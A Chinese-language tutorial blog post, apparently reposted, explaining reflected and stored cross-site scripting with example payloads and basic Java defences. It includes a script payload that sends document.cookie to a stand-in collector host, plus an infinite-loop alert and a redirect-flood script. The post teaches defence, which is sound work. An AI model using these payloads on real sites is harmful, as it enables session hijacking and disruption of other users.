谈谈XSS攻防
Posted Java资料社区
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了谈谈XSS攻防相关的知识,希望对你有一定的参考价值。
优质文章,第一时间送达
续上次内容CSRF攻防,这次再来谈一下比较常见的一种web攻击方式以及漏洞,有人发现小编最近喜欢上写安全这块的知识,其实作为个开发者来说安全知识非常重要,安全问题比较大的多处于一些小型公司,急于上线、没有专业测试人员,为了上线初期流程跑通就直接往服务器上扔,这不仅是对产品的不负责也是对用户的不负责,给程序留下了极大的隐患。
什么是XSS ?
XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括html代码和客户端脚本。(摘自百度百科)
XSS的种类
1.反射型:
反射型也称为非持久性xss脚本,反射型xss就是用户执行了带有xss恶意代码参数的请求发送到服务端,服务端接收到请求将该用户参数如一响应回去,浏览器接收到该响应数据进行解析渲染时会执行响应数据中的恶意javascript代码.
例子:
www.xss.com/message?send=<script>alert(123)</script>
如果后端接口是这样的对参数没有安全方面的防范验证
结果应该是这样的(市场主流的高版本浏览器对XSS有所防范,在火狐、谷歌可能测试无效,建议使用IE):
大家可能会觉得,不就弹个alert框吗,能有啥影响呢!而且我没事改他干嘛呢!
上面我们只是打印了一个alert框,但该漏洞一旦被黑客利用能做的事情绝不仅仅如此.
再举一个窃取Cookie的例子:
2.黑客通过一些手段引诱用户点击带有xss的url (根据以上例子接口)
www.xss.com/message?send=<script>location.href='www.cookie.com/receive?cookie='+document.cookie;</script>
3.用户点击该链接首先访问www.xss.com/message接口,因为该链接被黑客注入了xss脚本,请求完接口之后将<script>location.href='www.cookie.com/receive?cookie='+document.cookie;</script>渲染在HTML中被执行,打开该网站将当前cookie发送过去,如果你在当前网站已经登录,那么你的cookie不知不觉就已经发送到了黑客服务器中,拿到你的cookie之后可以伪造登录以你的身份做操作。
2.存储型
存储型XSS又称为持久性脚本,跟反射型XSS原理基本一致,差别在于长期存储在数据库、内存、文件当中,不需要重新提交xss脚本,例如存储在数据库中,只要用户一旦查询该条数据并将该数据渲染在HTML中该恶意代码就会被执行.
例子:
某个论坛留言板代码
<textarea placeholder="留言板" maxlength="50"></textarea>
<button type="button">留言</button>
正常操作:用户输入留言内容点击留言按钮,将留言内容存入数据库,以供其他用户显示
非正常操作:在文本域中输入<script>whie(true){alert(xss)}</script>存入数据库,其他用户在查看留言板时查询数据库渲染HTML将会被浏览器所执行,死循环弹出alert框,对用户体验及其不好也造成了很大的影响,甚至如果当前站点流量较大,xss脚本写为<script>location.href='小型网站';</script>,间接性的就成为了DOS攻击,DOS承受能力不强的站点可以被瞬间瘫痪.
XSS如何防范
万事有矛必有盾,有攻必有防;
了解了xss攻击原理之后,其实只需要对用户输入的区域以及传递的参数有所验证
1.前端用户输入的地方使用正则表达式进行验证,禁止输入非法字符.
2.Java中可以在过滤器中对每一个请求进行参数过滤,对传进来的参数进行转义
URLEncoder.encode("<script>alert(123)</script>")
=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E
HTML特殊字符转义对照表:http://tool.oschina.net/commons?type=2
以上是关于谈谈XSS攻防的主要内容,如果未能解决你的问题,请参考以下文章
DVWA 黑客攻防实战反射型 XSS 攻击 Reflected Cross Site Scripting
Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)——山东大学网络攻防实验